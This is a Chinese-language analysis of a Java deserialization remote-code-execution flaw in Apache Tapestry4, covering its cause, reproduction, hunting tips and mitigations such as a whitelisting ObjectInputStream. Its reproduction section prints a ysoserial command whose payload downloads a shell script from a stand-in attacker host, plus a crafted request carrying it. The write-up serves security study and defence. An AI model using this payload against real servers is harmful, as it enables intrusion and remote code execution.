Apache Tapestry4 反序列化漏洞分析与利用

1. 漏洞概述

Apache Tapestry4 是一个基于Java的Web应用程序框架，在其早期版本中存在反序列化漏洞，攻击者可以通过精心构造的恶意序列化数据实现远程代码执行(RCE)。

2. 漏洞原理

Tapestry4 在处理某些请求参数时使用了Java的默认序列化机制，当攻击者能够控制这些参数时，可以构造恶意的序列化对象，利用Java反序列化漏洞执行任意代码。

2.1 关键漏洞点

• 序列化参数处理：Tapestry4 在处理componentData等参数时直接进行反序列化
• 缺乏安全校验：没有对反序列化的类进行白名单校验
• 依赖链存在：环境中存在可利用的gadget链

3. 影响版本

• Apache Tapestry 4.x 系列版本

4. 漏洞复现

4.1 环境搭建

1. 下载受影响版本的Tapestry4：

   wget https://archive.apache.org/dist/tapestry/tapestry-4.0.2/tapestry-4.0.2.zip
   

2. 部署到Tomcat或其他Java应用服务器

4.2 漏洞验证

使用ysoserial工具生成payload：

java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/shell.sh -o /tmp/shell.sh" > payload.ser

构造恶意请求：

POST /tapestry-app/page HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

componentData=[BASE64编码的payload]

4.3 利用条件

• 目标应用使用Tapestry4框架
• 存在可用的gadget链（如Commons Collections等）
• 攻击者能够控制输入参数

5. 漏洞分析

5.1 反序列化入口点

Tapestry4 在AbstractComponent类的rewind()方法中调用了反序列化：

protected void rewind(MarkupWriter writer) {
    // ...
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(decodedData));
    Object restored = in.readObject();
    // ...
}

5.2 攻击流程

1. 攻击者构造恶意序列化对象
2. 通过HTTP请求将payload发送到目标服务器
3. 服务器接收并解码参数
4. 触发反序列化操作
5. 执行gadget链中的恶意代码

6. 防御措施

6.1 临时解决方案

• 升级到Tapestry5或更高版本
• 实现自定义的ObjectInputStream并重写resolveClass方法进行白名单校验

public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (!isAllowed(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
    
    private boolean isAllowed(String className) {
        // 实现白名单逻辑
    }
}

6.2 长期解决方案

• 完全禁用Java原生序列化，改用JSON等安全格式
• 使用最新的Tapestry版本
• 定期审计依赖库中的安全漏洞

7. 漏洞挖掘技巧

1. 框架识别：通过URL模式、错误页面等识别Tapestry应用
2. 参数分析：寻找可能包含序列化数据的参数名如componentData
3. 流量分析：检查请求中是否包含Base64编码的序列化数据
4. 版本确认：通过META-INF/MANIFEST.MF等文件确认框架版本

8. 相关工具

• ysoserial：生成各种gadget链的payload
• Burp Suite：用于拦截和修改HTTP请求
• Java Serial Killer：检测Java反序列化漏洞
• Gadget Inspector：分析Java应用中的gadget链

9. 参考链接

• Apache Tapestry官方文档
• Java反序列化漏洞白皮书
• ysoserial项目

10. 总结

Apache Tapestry4反序列化漏洞是典型的Java反序列化安全问题，攻击者可以通过精心构造的payload实现远程代码执行。防御此类漏洞需要开发者理解Java序列化机制的风险，并采取适当的安全措施。在红蓝对抗中，掌握此类漏洞的挖掘和利用技术对于安全研究人员至关重要。